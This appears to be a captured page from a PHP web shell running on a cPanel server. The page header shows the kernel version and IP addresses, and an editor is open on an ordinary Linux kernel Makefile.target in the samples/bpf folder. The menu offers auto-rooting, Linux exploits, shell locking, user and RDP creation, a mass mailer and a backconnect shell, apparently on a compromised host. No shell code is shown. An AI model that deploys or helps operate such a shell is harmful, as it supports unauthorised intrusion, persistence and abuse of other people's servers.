Linux cpanel.rrshost.in 5.15.0-25-generic #25-Ubuntu SMP Wed Mar 30 15:54:22 UTC 2022 x86_64
Apache
: 109.123.238.221 | : 108.162.241.157
128 Domain
8.2.28
aev999
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
src /
linux-headers-5.15.0-25 /
samples /
bpf /
[ HOME SHELL ]
Name
Size
Permission
Action
Makefile
15.83
KB
-rw-r--r--
Makefile.target
2.52
KB
-rw-r--r--
do_hbm_test.sh
12
KB
-rwxr-xr-x
lwt_len_hist.sh
1.02
KB
-rwxr-xr-x
run_cookie_uid_helper_example....
341
B
-rwxr-xr-x
tc_l2_redirect.sh
4.91
KB
-rwxr-xr-x
test_cgrp2_sock.sh
2.89
KB
-rwxr-xr-x
test_cgrp2_sock2.sh
1.76
KB
-rwxr-xr-x
test_cgrp2_tc.sh
4.15
KB
-rwxr-xr-x
test_cls_bpf.sh
915
B
-rwxr-xr-x
test_lwt_bpf.sh
8.96
KB
-rwxr-xr-x
test_override_return.sh
276
B
-rwxr-xr-x
xdp2skb_meta.sh
4.5
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Makefile.target
# SPDX-License-Identifier: GPL-2.0 # ========================================================================== # Building binaries on the host system # Binaries are not used during the compilation of the kernel, and intended # to be build for target board, target board can be host of course. Added to # build binaries to run not on host system. # # Sample syntax # tprogs-y := xsk_example # Will compile xsk_example.c and create an executable named xsk_example # # tprogs-y := xdpsock # xdpsock-objs := xdpsock_1.o xdpsock_2.o # Will compile xdpsock_1.c and xdpsock_2.c, and then link the executable # xdpsock, based on xdpsock_1.o and xdpsock_2.o # # Derived from scripts/Makefile.host # __tprogs := $(sort $(tprogs-y)) # C code # Executables compiled from a single .c file tprog-csingle := $(foreach m,$(__tprogs), \ $(if $($(m)-objs),,$(m))) # C executables linked based on several .o files tprog-cmulti := $(foreach m,$(__tprogs),\ $(if $($(m)-objs),$(m))) # Object (.o) files compiled from .c files tprog-cobjs := $(sort $(foreach m,$(__tprogs),$($(m)-objs))) tprog-csingle := $(addprefix $(obj)/,$(tprog-csingle)) tprog-cmulti := $(addprefix $(obj)/,$(tprog-cmulti)) tprog-cobjs := $(addprefix $(obj)/,$(tprog-cobjs)) ##### # Handle options to gcc. Support building with separate output directory _tprogc_flags = $(TPROGS_CFLAGS) \ $(TPROGCFLAGS_$(basetarget).o) # $(objtree)/$(obj) for including generated headers from checkin source files ifeq ($(KBUILD_EXTMOD),) ifdef building_out_of_srctree _tprogc_flags += -I $(objtree)/$(obj) endif endif tprogc_flags = -Wp,-MD,$(depfile) $(_tprogc_flags) # Create executable from a single .c file # tprog-csingle -> Executable quiet_cmd_tprog-csingle = CC $@ cmd_tprog-csingle = $(CC) $(tprogc_flags) $(TPROGS_LDFLAGS) -o $@ $< \ $(TPROGS_LDLIBS) $(TPROGLDLIBS_$(@F)) $(tprog-csingle): $(obj)/%: $(src)/%.c FORCE $(call if_changed_dep,tprog-csingle) # Link an executable based on list of .o files, all plain c # tprog-cmulti -> executable quiet_cmd_tprog-cmulti = LD $@ cmd_tprog-cmulti = $(CC) $(tprogc_flags) $(TPROGS_LDFLAGS) -o $@ \ $(addprefix $(obj)/,$($(@F)-objs)) \ $(TPROGS_LDLIBS) $(TPROGLDLIBS_$(@F)) $(tprog-cmulti): $(tprog-cobjs) FORCE $(call if_changed,tprog-cmulti) $(call multi_depend, $(tprog-cmulti), , -objs) # Create .o file from a single .c file # tprog-cobjs -> .o quiet_cmd_tprog-cobjs = CC $@ cmd_tprog-cobjs = $(CC) $(tprogc_flags) -c -o $@ $< $(tprog-cobjs): $(obj)/%.o: $(src)/%.c FORCE $(call if_changed_dep,tprog-cobjs)
Close